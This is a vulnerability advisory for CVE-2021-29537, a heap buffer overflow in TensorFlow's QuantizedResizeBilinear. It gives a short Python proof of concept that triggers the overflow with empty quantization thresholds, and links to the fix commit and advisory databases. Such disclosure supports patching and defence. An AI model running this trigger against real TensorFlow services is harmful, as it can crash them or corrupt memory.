CVE-2021-29537: Heap buffer overflow in `QuantizedResizeBilinear`
(updated )
An attacker can cause a heap buffer overflow in QuantizedResizeBilinear
by passing in invalid thresholds for the quantization:
import tensorflow as tf
images = tf.constant([], shape=[0], dtype=tf.qint32)
size = tf.constant([], shape=[0], dtype=tf.int32)
min = tf.constant([], dtype=tf.float32)
max = tf.constant([], dtype=tf.float32)
tf.raw_ops.QuantizedResizeBilinear(images=images, size=size, min=min, max=max, align_corners=False, half_pixel_centers=False)
References
- github.com/advisories/GHSA-8c89-2vwr-chcq
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-465.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-663.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-174.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/f6c40f0c6cbf00d46c7717a26419f2062f2f8694
- github.com/tensorflow/tensorflow/security/advisories/GHSA-8c89-2vwr-chcq
- nvd.nist.gov/vuln/detail/CVE-2021-29537
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